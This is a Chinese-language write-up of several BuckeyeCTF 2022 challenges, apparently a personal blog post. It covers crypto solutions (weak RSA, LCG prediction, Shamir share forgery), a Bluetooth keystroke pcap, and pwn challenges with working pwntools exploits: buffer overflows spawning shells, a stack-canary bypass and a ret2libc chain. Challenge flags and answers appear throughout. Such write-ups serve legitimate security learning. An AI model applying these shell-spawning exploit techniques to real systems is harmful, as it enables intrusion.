[BuckeyeCTF 2022] 部分WP

134 篇文章 18 订阅
60 篇文章 10 订阅

目录

crypto

megaxord/beginner

Twin prime RSA/easy

fastfor/medium

bonce/easy

powerball/easy

SSSHIT/medium

Quad prime RSA/medium

misc

keyboardwarrior/medium

pwn

samurai/beginner

ronin/easy

stack duck/medium

shogun/medium

portals

rev

Sinep/beginner

cap/easy

angry/easy

intel does what amd'ont/medium


周末有N1CTF和这个,N1CTF太难了,作了个简单的,前50,还行吧。

crypto

megaxord/beginner

跟上周一个题几乎一样,给了一个乱码文件,名字中含xor,提示就是异或,用0-255爆破一下即可,88的时候成功

data = open('megaxord.txt','rb').read()

for i in range(88,89):
    c = bytes([v^i for v in data])
    print(i,c)
    open('aaa.txt', 'wb').write(c)
    
#buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}

Twin prime RSA/easy

一个简单的RSA,其中pq只差2,直接对n开平方就得到p

import Crypto.Util.number as cun

while True:
    p = cun.getPrime(1024)
    q = p + 2
    if cun.isPrime(q):
        break

n = p * q
e = 0x10001

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

FLAG = cun.bytes_to_long(b"buckeye{?????????????????????????????????????????????????????????????}")
c = pow(FLAG, e, n)
assert pow(c, d, n) == FLAG

print(f"n = {n}")
print(f"c = {c}")

WP

p = 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709
q = p+2
print(long_to_bytes(pow(c,invert(e,(p-1)*(q-1)),n)))
#buckeye{B3_TH3R3_OR_B3_SQU4R3__abcdefghijklmonpqrstuvwxyz__0123456789}

fastfor/medium

这个题目有远端,可以说是个web题,给了一张图要求上传的图作付立叶变换然后再求标准差与原图相同。

from PIL import Image
import numpy

def check_hash(fi):
    image = numpy.asarray(Image.open('IMG.png'))
    submission = numpy.asarray(Image.open(fi))
    if image.shape != submission.shape:
        return False
    same = numpy.bitwise_xor(image, submission)
    if (numpy.sum(same) == 0):
        return False
    im_alt = numpy.fft.fftn(image)  #一维付立叶变换
    in_alt = numpy.fft.fftn(submission)
    im_hash = numpy.std(im_alt)  #标准差
    in_hash = numpy.std(in_alt)
    if im_hash - in_hash < 1 and im_hash - in_hash > -1:
        print('True')
        return True
    return False

check_hash('./i2.png')

显然要两个图相同只能是同一个图,所以将原图作了个180度旋转还是一样的

from PIL import Image
import numpy

im = Image.open('IMG.png')
im2 = im.rotate(180)
im2.save('i2.png')

 然后上传图片即可

bonce/easy

用序号生成的nonce作了个异或加密,然后把flag插到垃圾中,其实意义不大,反正都要解出来

import random

with open('sample.txt') as file:
    line = file.read()

with open('flag.txt') as file:
    flag = file.read()

samples = [line[i:i+28] for i in range(0, len(line) - 1 - 28, 28)]

samples.insert(random.randint(0, len(samples) - 1), flag)  #flag插入中间

i = 0
while len(samples) < 40:
    samples.append(samples[len(samples) - i - 2])
    i = random.randint(0, len(samples) - 1)

encrypted = []
for i in range(len(samples)):
    x = samples[i]
    if i < 10:
        nonce = str(i) * 28
    else:
        nonce = str(i) * 14
    encrypted.append(''.join(str(ord(a) ^ ord(b)) + ' ' for a,b in zip(x, nonce)))

with open('output.txt', 'w') as file:
    for i in range(0, 4):
        file.write('input: ' + samples[i] + '\noutput: ' + encrypted[i] + '\n')
    file.write('\n')
    for i in range(4, len(samples)):
        file.write('\ninput: ???\n' + 'output: ' + encrypted[i])

解码

lines = open('output.txt').readlines()

for i,line in enumerate(lines):
    v = line.strip().split(' ')
    v = [int(k)%0x100 for k in v]
    ii = i+4
    if ii<10:
        nonce = str(ii) * 28
    else:
        nonce = str(ii) * 14
    print(nonce,v )
    
    r = [v[ii]^ord(nonce[ii]) for ii in range(28)]
    print(bytes(r))

powerball/easy

这是个js程序,js不常用难看懂,不过慢慢看还是能看出来,他就是让你输入下一组编号,这个编号是用一个简化的LCG的方法(b=0)生成的,只要求出p就能得到下一组。

import express from 'express'
import http from 'http'
import { Server } from 'socket.io'
import crypto from 'crypto'

function nextRandomNumber () {
  return (multiplier * seed) % modulus
}

function areArraysEqual (a, b) {
  return (
    a.length === b.length &&
    a.every((x, i) => {
      return x === b[i]
    })
  )
}

function seedToBalls (n) {
  const balls = []
  for (let i = 0; i < 10; i++) {
    balls.push(Number(n % 100n))
    n = n / 100n
  }
  return balls
}

const app = express()
app.use(express.static('static'))

const server = http.createServer(app)
const io = new Server(server)

const modulus = crypto.generatePrimeSync(128, { safe: true, bigint: true })
const multiplier = (2n ** 127n) - 1n
let seed = 2n
for (let i = 0; i < 1024; i++) {
  seed = nextRandomNumber()
}
let winningBalls = seedToBalls(seed)
let lastLotteryTime = Date.now()

setInterval(() => {
  seed = nextRandomNumber()
  winningBalls = seedToBalls(seed)
  lastLotteryTime = Date.now()
}, 60 * 1000)

io.on('connection', (socket) => {
  socket.ticket = { balls: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], submissionTime: 0 }

  socket.on('updateRequest', () => {
    let flag = ''
    if (
      areArraysEqual(socket.ticket.balls, winningBalls) &&
      socket.ticket.submissionTime < lastLotteryTime   ///预测下一组
    ) {
      flag = process.env.FLAG
    }

    socket.emit('update', {
      last_winning_seed: seed.toString(),
      flag: flag
    })
  })

  socket.on('submitBalls', (balls) => {
    if (!(Array.isArray(balls) && balls.length === 10)) return
    for (let i = 0; i < 10; i++) {
      if (typeof balls[i] !== 'number') return
    }

    socket.ticket = { balls: balls, submissionTime: Date.now() }
  })
})

server.listen(3000, () => {
  console.log('Ready')
})

由于每个结果都是上一个模p得到,所以减c以后都是p的倍数,多弄几组作gcd即可。

不过由于不清楚他怎么发的包,最后也没写成程序。手工搓,虽然手有点抖,可1分钟的时间还是够。

s = [106517683855280515258314246776868141387,
     194800405526038312944410559068399598680,
     221093761924500928639503859054821860318,
     127150929649378920064958285530618693148]

from math import gcd

a = (2 ** 127) - 1
p = gcd(s[0]*a-s[1], s[1]*a-s[2])
p = gcd(s[2]*a-s[3], p)
ts4 = s[3]*a % p 

def get_ball(s):
    r = []
    for i in range(10):
        r.append(s%100)
        s//=100
    print(r)

get_ball(ts4)
#buckeye{y3ah_m4yb3_u51nG_A_l1N34r_c0nGru3Nt1al_G3n3r4t0r_f0r_P0w3rB4lL_wA5nt_tH3_b3st_1d3A}

SSSHIT/medium

远端给了3组(x,y)其中x是1,2,3。y是通过公式算出来的,第1个m是已知,后边两个是随机数,然后通过乘幂和乘因子得到3个y,要求修改第1个y让逆回的m与验证相同。

import Crypto.Util.number as cun
import random
import ast


def evaluate_polynomial(polynomial: list, x: int, p: int):
    return (
        sum(
            (coefficient * pow(x, i, p)) % p for i, coefficient in enumerate(polynomial)
        )
        % p
    )


N_SHARES = 3


def main():
    print(
        f"I wrote down a list of people who are allowed to get the flag and split it into {N_SHARES} using Shamir's Secret Sharing."
    )
    MESSAGE = cun.bytes_to_long(b"qxxxb, BuckeyeCTF admins, and NOT YOU")

    p = cun.getPrime(512)

    polynomial = [MESSAGE] + [random.randrange(1, p) for _ in range(N_SHARES - 1)]
    points = [(i, evaluate_polynomial(polynomial, i, p)) for i in range(1, N_SHARES + 1)]

    print("Your share is:")
    print(points[0])
    print("The other shares are:")
    for i in range(1, len(points)):
        print(points[i])

    print()
    print("Now submit your share for reconstruction:")
    your_input = ast.literal_eval(input(">>> "))
    if (
        type(your_input) is not tuple
        or len(your_input) != 2
        or type(your_input[0]) is not int
        or type(your_input[1]) is not int
        or your_input[0] != 1
        or not (0 <= your_input[1] < p)
    ):
        print("Bad input")
        return

    points[0] = your_input

    xs = [point[0] for point in points]
    ys = [point[1] for point in points]

    y_intercept = 0
    for j in range(N_SHARES):
        product = 1
        for i in range(N_SHARES):
            if i != j:
                product = (product * xs[i] * pow(xs[i] - xs[j], -1, p)) % p
        y_intercept = (y_intercept + ys[j] * product) % p

    reconstructed_message = cun.long_to_bytes(y_intercept)
    if reconstructed_message == b"qxxxb, BuckeyeCTF admins, and ME":
        print("Here's your flag:")
        print("buckeye{?????????????????????????????????????????}")
    else:
        print(f"Sorry, only these people can see the flag: {reconstructed_message}")


main()

  y在有限域p的运算公式如下:

y1 = m0*1^{0} + m1*1^{1} + m2*1^{2}; y2 = m0*2^{0} + m1*2^{1} + m2*2^{2}; y3 = m0*3^{0} + m1*3^{1} + m2*3^{2};

 由于是有限域,求m1,m2,p加上3个系数k1,k2,k3公式不够,由于m都小于p所以这3个系数的范围很小可以爆破(范围分别小于3,7,13)

from pwn import *
from z3 import *
from Crypto.Util.number import isPrime, bytes_to_long, long_to_bytes
from gmpy2 import invert

p = remote('pwn.chall.pwnoh.io', 13382)

context.log_level = 'debug'

p.recvline()
p.recvline()
a = []
a.append(eval(p.recvline()))
p.recvline()
a.append(eval(p.recvline()))
a.append(eval(p.recvline()))

n0 = bytes_to_long(b"qxxxb, BuckeyeCTF admins, and NOT YOU")
c = bytes_to_long(b"qxxxb, BuckeyeCTF admins, and ME")

y0 = a[0][1]
y1 = a[1][1]
y2 = a[2][1]

xs = [1,2,3]
ys = [y0,y1,y2]

def test(p):
    N_SHARES = 3
    y_intercept = 0
    for j in range(N_SHARES):
        product = 1
        for i in range(N_SHARES):
            if i != j:
                product = (product * xs[i] * pow(xs[i] - xs[j], -1, p)) % p
        y_intercept = (y_intercept + ys[j] * product) % p
    print(long_to_bytes(y_intercept))



def get_p():
    for k1 in range(3):
        for k2 in range(7):
            for k3 in range(13):
                s = Solver()
                rp,n1,n2 = Ints('p n1 n2')
                s.add(k1*rp + a[0][1] == n0 + n1 + n2)
                s.add(k2*rp + a[1][1] == n0 + 2*n1 + 4*n2)
                s.add(k3*rp + a[2][1] == n0 + 3*n1 + 9*n2)
                if s.check() == sat:
                    d = s.model()
                    tp = d[rp].as_long()
                    if isPrime(tp):
                        print('p=', tp)
                        
                        y0 = (c + 3*y1 - y2 )*invert(3,tp)%tp 
                        print('y0=',y0)
                        ys[0] = y0
                        test(tp)
                        p.sendline(f"(1,{y0})")
                        p.recvline()
                        p.recvline()
                        p.recvline()
                        p.recvline()
                        return tp 
                        
'''
    y_intercept = 0
    for j in range(N_SHARES):
        product = 1
        for i in range(N_SHARES):
            if i != j:
                product = (product * xs[i] * pow(xs[i] - xs[j], -1, p)) % p
        y_intercept = (y_intercept + ys[j] * product) % p

c = (y0*3 - y1*3 + y2)%p => y0 = (c + 3*y1 - y2)*invert(3,p)%p
'''
get_p()

Quad prime RSA/medium

题目很直白,4个素数的RSA其中n1=p*q,n2=r*s并且r=q+2

import Crypto.Util.number as cun

p = cun.getPrime(500)

while True:
    q = cun.getPrime(1024)
    r = q + 2
    if cun.isPrime(r):
        break

s = cun.getPrime(500)

n_1 = p * q
n_2 = r * s

e = 0x10001
d_1 = pow(e, -1, (p - 1) * (q - 1))
d_2 = pow(e, -1, (r - 1) * (s - 1))

FLAG = cun.bytes_to_long(b"buckeye{??????????????????????????????????????????????????????????????????????}")
c_1 = pow(FLAG, e, n_1)
c_2 = pow(FLAG, e, n_2)

assert pow(c_1, d_1, n_1) == FLAG
assert pow(c_2, d_2, n_2) == FLAG

print(f"n_1 = {n_1}")
print(f"n_2 = {n_2}")
print(f"c_1 = {c_1}")
print(f"c_2 = {c_2}")

对这种情况有一个分解方法连分式法:

将两式相除(不是真正的除)n1/n2 = p*q/(r*s) = (p/s)*(q/r)

这里由于q+2=r所以后一项非常小,所以两n相除进行连分式分解后基本就是p/s的值

from Crypto.Util.number import *
from gmpy2 import *
import ContinuedFractions

n1 = 266809852588733960459210318535250490646048889879697803536547660295087424359820779393976863451605416209176605481092531427192244973818234584061601217275078124718647321303964372896579957241113145579972808278278954608305998030194591242728217565848616966569801983277471847623203839020048073235167290935033271661610383018423844098359553953309688771947405287750041234094613661142637202385185625562764531598181575409886288022595766239130646497218870729009410265665829
n2 = 162770846172885672505993228924251587431051775841565579480252122266243384175644690129464185536426728823192871786769211412433986353757591946187394062238803937937524976383127543836820456373694506989663214797187169128841031021336535634504223477214378608536361140638630991101913240067113567904312920613401666068950970122803021942481265722772361891864873983041773234556100403992691699285653231918785862716655788924038111988473048448673976046224094362806858968008487
c1 = 90243321527163164575722946503445690135626837887766380005026598963525611082629588259043528354383070032618085575636289795060005774441837004810039660583249401985643699988528916121171012387628009911281488352017086413266142218347595202655520785983898726521147649511514605526530453492704620682385035589372309167596680748613367540630010472990992841612002290955856795391675078590923226942740904916328445733366136324856838559878439853270981280663438572276140821766675
c2 = 111865944388540159344684580970835443272640009631057414995719169861041593608923140554694111747472197286678983843168454212069104647887527000991524146682409315180715780457557700493081056739716146976966937495267984697028049475057119331806957301969226229338060723647914756122358633650004303172354762801649731430086958723739208772319851985827240696923727433786288252812973287292760047908273858438900952295134716468135711755633215412069818249559715918812691433192840
e = 0x10001

'''
n1/n2 = pq/rs = (p/s)*(q/r)
因为r=q+1所以 q/r接近1 n1/n2的值与p/s的值相近,将n1/n2 边分式展开得到p
'''

def step1():
 frac = ContinuedFractions.rational_to_contfrac(n1, n2)
 convergents = ContinuedFractions.convergents_from_contfrac(frac)  #连分数展开
 for q1,q2 in convergents:
  try:
   if n1 % q1 == 0:
    p1=n1//q1
    phi1 = (p1 - 1) * (q1 - 1)
    d1=invert(e,phi1)
    m=pow(c1,d1,n1)
    print(m)
    print(bytes.fromhex(hex(m)[2:]))
    return m1,m2
  except:
   pass

step1()

misc

keyboardwarrior/medium

一个流量包,里边是蓝牙键盘的流量,显然跟USB键盘的差不多,只是协议不同,从网上搜到解出数据的方法

tshark.exe -r keyboardwarrior.pcap -T fields -e btatt.value > aaa.txt

然后将解出来的扫描码转成ASCII码


mappings = [{ 0x04:"a", 0x05:"b", 0x06:"c", 0x07:"d", 0x08:"e", 0x09:"f", 0x0a:"g",  0x0b:"h", 
             0x0c:"i", 0x0d:"j", 0x0e:"k", 0x0f:"l", 0x10:"m", 0x11:"n", 0x12:"o",  0x13:"p", 
             0x14:"q", 0x15:"r", 0x16:"s", 0x17:"t", 0x18:"u", 0x19:"v", 0x1a:"w",  0x1b:"x", 
             0x1c:"y", 0x1d:"z", 0x1e:"1", 0x1f:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 
             0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[del]",  0x2b:"    ", 0x2c:" ",  
             0x2d:"-", 0x2e:"=", 0x2f:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 
             0x36:",",  0x37:"." },
             { 0X04:"A", 0X05:"B", 0X06:"C", 0X07:"D", 0X08:"E", 0X09:"F", 0X0A:"G",  0X0B:"H", 
             0X0C:"I", 0X0D:"J", 0X0E:"K", 0X0F:"L", 0X10:"M", 0X11:"N", 0X12:"O",  0X13:"P", 
             0X14:"Q", 0X15:"R", 0X16:"S", 0X17:"T", 0X18:"U", 0X19:"V", 0X1A:"W",  0X1B:"X", 
             0X1C:"Y", 0X1D:"Z", 0X1E:"!", 0X1F:"@", 0X20:"#", 0X21:"$", 0X22:"%",  0X23:"^", 
             0X24:"&", 0X25:"*", 0X26:"(", 0X27:")", 0X28:"\n", 0X2A:"[DEL]",  0X2B:"    ", 0X2C:" ",  
             0X2D:"_", 0X2E:"+", 0X2F:"{",  0X30:"}",  0X31:"|", 0X32:"~", 0X33:":",  0X34:"\"", 
             0X36:"<",  0X37:">" }]


lines = open('aaa.txt').read().split('\n')
f = ''
for line in lines:
    v = bytes.fromhex(line)
    if v[2] in mappings[0]:
        shift = 0
        if (v[0]&2) or (v[0]&16):
            shift = 1
        f+=mappings[shift][v[2]]
    else:
        if v[2] != 0:
            print(v2)

print(f)
#spongebobsuqwaaitthatsatpyoomganothertypobuckeyectf{4v3r4g3_b13_3nj0y3r}abcdefghijklmnopqrstuvwxyz

pwn

samurai/beginner

一个简单的溢出

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-30h] BYREF
  char *command; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+2Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  strcpy(s, "RIGHT, right.                  ");
  v5 = 0x69696969;
  scroll(txt);
  fgets(&s[14], 48, stdin);                     // 可以溢出到v5
  strcpy(&s[strlen(s) - 1], ".\n");
  scroll(s);
  scroll(off_4088);
  if ( v5 == 0x4774CC )                         // 需要覆盖v5
  {
    command = (char *)malloc(8uLL);
    scroll(off_4098);
    fgets(command, 8, stdin);
    system(command);
  }
  else
  {
    scroll(off_4090);
  }
  exit(0);
}

溢出覆盖v5即可

from pwn import *

p = remote('pwn.chall.pwnoh.io', 13371)
context.log_level = 'debug'

p.sendlineafter(b'again? ', b'\x00'*(32-14+0xc) + p64(4682956))
p.sendlineafter(b'\n', b'/bin/sh')

p.interactive()

 通过第一个简单题,得到远端的Docker的版本信息,后边的题会有用,这里用的是Ubuntu20.04 libc-2.31-0ubuntu9.9-amd64

ronin/easy

这题跟上题有点像就是变长了,从main到chase再到search再到encounter,在encounter有溢出

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char* txt[] = {
    "After defeating the great Haku in battle, our hero begins the journey home.\nThe forest is covered in thick brush. It is difficult to see where you are going...\nBut a samurai always knows the way home, and with a sharp sword that can cut through the foliage, there is nothing to worry about.\n...\n...suddenly, the sword is gone. It has been swept straight out of your hand!\nYou look up to see a monkey wielding your sword! What will you do? ",
    "Yes, of course. You are a great warrior! This monkey doesn't stand a chance.\nWith your inner strength, you leap to the trees, chasing the fleeing monkey for what feels like hours.\n",
    "The monkey, with great speed, quickly disappears into the trees. You have lost your sword and any hopes of getting home...\n",
    "Eventually, you lose sight of it. It couldn't have gotten far. Which way will you look? ",
    "Finally, the monkey stops and turns to you.\n\"If you wish for your weapon back, you must make me laugh.\" Holy shit. This monkey can talk. \"Tell me a joke.\" ",
    "\"BAAAAHAHAHAHAHA WOW THAT'S A GOOD ONE. YOU'RE SO FUNNY, SAMURAI.\n...NOT! THAT JOKE SUCKED!\"\nThe monkey proceeds to launch your sword over the trees. The throw was so strong that it disappeard over the horizon.\nWelp. It was a good run.\n",
};

void scroll(char* txt) {
    size_t len = strlen(txt);
    for(size_t i = 0; i < len; i++) {
        char c = txt[i];
        putchar(c);
        usleep((c == '\n' ? 1000 : 50) * 1000);
    }
}

void encounter() {
    while(getchar() != '\n') {}
    scroll(txt[4]); //b"Tell me a joke.\" "
    char buf2[32];
    fgets(buf2, 49, stdin);
    scroll(txt[5]);
}

void search(char* area, int dir) {
    scroll(area); //"\"Tell me a joke.\" "
    if(dir == 2) {
        encounter();
        exit(0);
    }
}

void chase() {
    char* locs[] = {
        "The treeline ends, and you see beautiful mountains in the distance. No monkey here.\n",
        "Tall, thick trees surround you. You can't see a thing. Best to go back.\n",
        "You found the monkey! You continue your pursuit.\n",
        "You find a clearing with a cute lake, but nothing else. Turning around.\n",
    };
    scroll(txt[3]); //" will you look? "
    int dir;
    while(1) {
        scanf("%d", &dir);
        if(dir > 3) {
            printf("Nice try, punk\n");
        } else {
            search(locs[dir], dir);
        }
    }
}

int main() {
    setvbuf(stdout, 0, 2, 0);

    scroll(txt[0]); //will you do? 
    char buf1[80];
    fgets(buf1, 80, stdin);
    if(strncmp("Chase after it.", buf1, 15) == 0) {
        scroll(txt[1]); //"feels like hours.\n"
        chase();
    } else {
        scroll(txt[2]); //"getting home...\n"
    }
}

 这题栈可执行,需要得到栈地址,然后溢出到ret,将其覆盖指到shellcode即可

在chase里选择locs项时有前越界,可以通过负数输出栈上前一个函数的rbp值得到

由于远端字符是一个个发出的,泄露栈地址时需要一个个读,不然会失败。

from pwn import *

p = remote('pwn.chall.pwnoh.io', 13372)
#p = process('./ronin')

context.log_level = 'debug'
context.arch = 'amd64'

p.sendlineafter(b"will you do? ", b"Chase after it.\x00"+ b'\x90'*8 +asm(shellcraft.sh()))

p.sendlineafter(b"look? ", b'-4')
msg = b''
for i in range(6):
    msg += p.recv(1)
stack = u64(msg.ljust(8, b'\x00')) - 0x40
print('shellcode:', hex(stack))

p.sendline(b'2')
p.sendlineafter(b'"If you wish for your weapon back, you must make me laugh." Holy shit. This monkey can talk. "Tell me a joke." ', b'A'*32+p64(stack)*2)
p.interactive()

#b'GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n'
#buckeye{n3v3r_7ru57_4_741k1n9_m0nk3y}

stack duck/medium

这题第一天没作出来,没找着溢出点,题目有明显的溢出但是开了canary,明显通不过,通过名字duck也没找着解决办法

unsigned __int64 submit_code()
{
  char s[520]; // [rsp+0h] [rbp-210h] BYREF
  unsigned __int64 v2; // [rsp+208h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Please enter your code. Elon will review it for length.\n");
  fgets(s, 552, stdin);
  ++DuckCounter;
  return __readfsqword(0x28u);
}

第二天看这里的++DuckCounter明显异常,给了就一定是提示,然后看汇编,这里有一个很特殊的比较,当counter是0x1e时用的是cmp al,cl仅比较最后一个字符,显然这个字符是0,只要在第15次用0覆盖canary就能溢出成功。

.text:00000000004011E2 48 8B 04 25 80 40 40 00       mov     rax, ds:DuckCounter
.text:00000000004011EA 48 83 C0 01                   add     rax, 1
.text:00000000004011EE 48 89 04 25 80 40 40 00       mov     ds:DuckCounter, rax
.text:00000000004011F6 48 83 E0 1F                   and     rax, 1Fh
.text:00000000004011FA 48 83 F8 1E                   cmp     rax, 1Eh
.text:00000000004011FE 0F 84 0A 00 00 00             jz      loc_40120E
.text:00000000004011FE
.text:0000000000401204 E9 1F 00 00 00                jmp     loc_401228
.text:0000000000401204
.text:0000000000401209                               ; ---------------------------------------------------------------------------
.text:0000000000401209
.text:0000000000401209                               loc_401209:                             ; CODE XREF: submit_code+83↓j
.text:0000000000401209                                                                       ; submit_code+98↓j
.text:0000000000401209 E8 22 FE FF FF                call    ___stack_chk_fail
.text:0000000000401209
.text:000000000040120E                               ; ---------------------------------------------------------------------------
.text:000000000040120E
.text:000000000040120E                               loc_40120E:                             ; CODE XREF: submit_code+5E↑j
.text:000000000040120E 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
.text:0000000000401217 48 8B 4D F8                   mov     rcx, [rbp+var_8]
.text:000000000040121B 38 C8                         cmp     al, cl                          ; 第15次,只比较1字符
.text:000000000040121D 0F 84 1B 00 00 00             jz      loc_40123E
.text:000000000040121D
.text:0000000000401223 E9 E1 FF FF FF                jmp     loc_401209
.text:0000000000401223
.text:0000000000401228                               ; ---------------------------------------------------------------------------

 原来如此简单,IDA不可全信

from pwn import *

p = remote('pwn.chall.pwnoh.io', 13386)
#p = process('./stackduck')
elf = ELF('./stackduck')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

context.arch='amd64'
context.log_level = 'debug'

#gdb.attach(p, 'b*0x4011fe\nc\n')

def add(msg):
    p.sendlineafter(b"2. Get fired\n", b'1')
    p.sendlineafter(b"Please enter your code. Elon will review it for length.\n", msg)

for i in range(0x1d):
    add(b'A')

ret = 0x000000000040101a # ret
pay = b'\x00'*(520+8+8) + p64(ret) + p64(elf.sym['win'])

add(pay)

p.interactive()

shogun/medium

又是基本相同,这题与前题少输出的函数

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char* txt[] = {
    "You finally reach the village. Cheers fill the air! 'The samurai is back!' A feast is being thrown in your honor.\nBut something feels off... you feel a disturbance. ",
    "Out of the corner of your eye, you catch a glimpse of two shadowy figures speeding towards you!\nHaku's halves merge together! \"We meet again, samurai...\" He attacks you! ",
    "Suddenly, you are impaled.\nHaku's shapeshifting has finally bested you.\nThe villagers scream as Haku laughs maniacally...\n",
    "Evenly matched, you fight for hours. The villagers have all run away.\nEventually, Haku finds an opening. You are fatally struck.\n\"Farewell, samurai!! Muaaaahahahahahahaaaa!\"\n",
};

void scroll(char* txt) {
    size_t len = strlen(txt);
    for(size_t i = 0; i < len; i++) {
        char c = txt[i];
        putchar(c);
        usleep((c == '\n' ? 1000 : 50) * 1000);
    }
}

void encounter() {
    scroll(txt[1]);
    char buf2[32];
    fgets(buf2, 81, stdin);
}

int main() {
    setvbuf(stdout, 0, 2, 0);

    scroll(txt[0]);
    char buf1[24];
    fgets(buf1, 24, stdin);
    if(strncmp("Look around.", buf1, 12) == 0) {
        encounter();
        scroll(txt[3]);
    } else {
        scroll(txt[2]);
    }
}

这样就需要用encounter的一部分来得到0x40125e输出,这时候由于破坏了rbp会导致下一步溢出shell不成功(远端不成功,本地没问题,浪费不少时间在这改这个),需要进行一次移栈到bss(题目没有开PIE,bss地址可知)

.text:0000000000401248                               ; char *encounter()
.text:0000000000401248                               public encounter
.text:0000000000401248                               encounter proc near                     ; CODE XREF: main+72↓p
.text:0000000000401248
.text:0000000000401248                               s= byte ptr -20h
.text:0000000000401248
.text:0000000000401248                               ; __unwind {
.text:0000000000401248 F3 0F 1E FA                   endbr64
.text:000000000040124C 55                            push    rbp
.text:000000000040124D 48 89 E5                      mov     rbp, rsp
.text:0000000000401250 48 83 EC 20                   sub     rsp, 20h
.text:0000000000401254 48 8B 05 CD 2D 00 00          mov     rax, cs:off_404028              ; "Out of the corner of your eye, you catc"...
.text:000000000040125B 48 89 C7                      mov     rdi, rax
.text:000000000040125E E8 73 FF FF FF                call    scroll    ;<----跳回这里执行输出
.text:000000000040125E
.text:0000000000401263 48 8B 15 E6 2D 00 00          mov     rdx, cs:stdin@@GLIBC_2_2_5      ; stream
.text:000000000040126A 48 8D 45 E0                   lea     rax, [rbp+s]
.text:000000000040126E BE 51 00 00 00                mov     esi, 51h ; 'Q'                  ; n
.text:0000000000401273 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401276 E8 45 FE FF FF                call    _fgets
.text:0000000000401276
.text:000000000040127B 90                            nop
.text:000000000040127C C9                            leave
.text:000000000040127D C3                            retn
.text:000000000040127D                               ; } // starts at 401248
.text:000000000040127D
.text:000000000040127D                               encounter endp
from pwn import *

p = remote('pwn.chall.pwnoh.io', 13373)
#p = process('./shogun')
elf = ELF('./shogun')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

context.arch='amd64'
context.log_level = 'debug'

pop_rdi = 0x0000000000401383 # pop rdi ; ret
pop_rsi = 0x0000000000401381 # pop rsi ; pop r15 ; ret

#gdb.attach(p, 'b*0x401276\nc\n')
#pause()


p.sendlineafter(b'disturbance. ', b"Look around.\x00")

p.sendlineafter(b'He attacks you! ', b'A'*0x20+ flat(0x404a00, pop_rdi, elf.got['fgets'], 0x40125e))

msg = b''
for i in range(6):
    msg += p.recv(1)
libc_base = u64(msg.ljust(8, b'\x00')) - libc_elf.sym['fgets']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

p.sendline(b'A'*0x20+ flat(0,pop_rdi+1, pop_rdi,next(libc_elf.search(b'/bin/sh\x00')), libc_elf.sym['system'])) #
p.sendline(b'cat flag.txt')
print(p.recvline())
p.interactive()

portals

这个当时一直没想出漏洞在哪,后来就等,当等到WP后还没看明白就找到漏洞。

程序提供增加时间块大小0x40结构为year,5个指针,msg_size,*msg,新建的块会放到当前的5个指针区里,并可以为当前块建msg,其中时间块使用calloc,msg使用malloc大小无限制

删除功能则会删除指针区里的块(连同msg块一起)并清指针。

没有专用的show,但每次进入时会输入指针指向的year和msg的值(按大小write)

增加msg时会检查是否已经有指针,如果有就直接修改。并且读入用的是gets会有尾部的\n

一个很诡异的功能是take,就是将当前now指针指向下一层。当时这个问题就卡这了,由于只能移到下一层就没法释放msg得到libc及其它工作。

#include <stdlib.h>
#include <stdio.h>

#define MAX_PORTALS 5

typedef struct TimePoint TimePoint;
struct TimePoint {
    unsigned long year;
    TimePoint* portals[MAX_PORTALS];
    size_t msgSize;
    char* msg;
};

TimePoint* root;
TimePoint* now;

void prologue() {
    printf("Finally! I've done it! I've invented a portal gun that can open portals to other points in time!\n"
           "I sure hope I don't create any paradoxes on accident or anything...\n"
           "Let's try it out!!\n");

    root = (TimePoint*)calloc(1, sizeof(TimePoint));
    root->year = 2022;
    now = root;
}

int isPortalLegal(unsigned long destination) {
    for(size_t i = 0; i < MAX_PORTALS; i++) {
        TimePoint* pt = now->portals[i];
        if(pt != NULL && pt->year == destination) return 0;
    }
    return 1;
}

void printMessage() {
    if(now->msgSize == 0) return;
    printf("Somebody left notes on the ground. They say:\n");
    fwrite(now->msg, 1, now->msgSize, stdout);
}

void describe() {
    printf("\nThe year is %ld.\n", now->year);
    printMessage();
    for(size_t i = 0; i < MAX_PORTALS; i++) {
        if(now->portals[i] != NULL) {
            printf("There is a portal to the year %ld here\n", now->portals[i]->year);
        }
    }
}

TimePoint* search(TimePoint* pt, unsigned long year, int start) {
    if(pt == root && !start) return NULL;
    if(pt->year == year) return pt;

    TimePoint* result = NULL;
    for(size_t i = 0; i < MAX_PORTALS; i++) {
        if(pt->portals[i] != NULL) {
            result = search(pt->portals[i], year, 0);
            if(result != NULL) break;
        }
    }
    return result;
}

void openPortal(unsigned long year) {
    size_t idx = 0;
    while(idx < MAX_PORTALS) {
        if(now->portals[idx] == NULL) break;
        idx++;
    }

    if(idx == MAX_PORTALS) {
        printf("Too many portals to keep track of!\n");
        return;
    }

    if(!isPortalLegal(year)) {
        printf("There's already a portal to %ld.\n", year);  //查找本层是否有相同的块
        return;
    }

    TimePoint* pt = search(root, year, 1);        //!!!!! 从root开始找,如果存在同名就直接挂上,通过add(year),take(year)可到达任意块
    if(pt == NULL) {
        pt = (TimePoint*)calloc(1, sizeof(TimePoint));
        pt->year = year;
    }
    now->portals[idx] = pt;
    printf("Opened the portal!\n");
}

void closePortal(unsigned long year) {
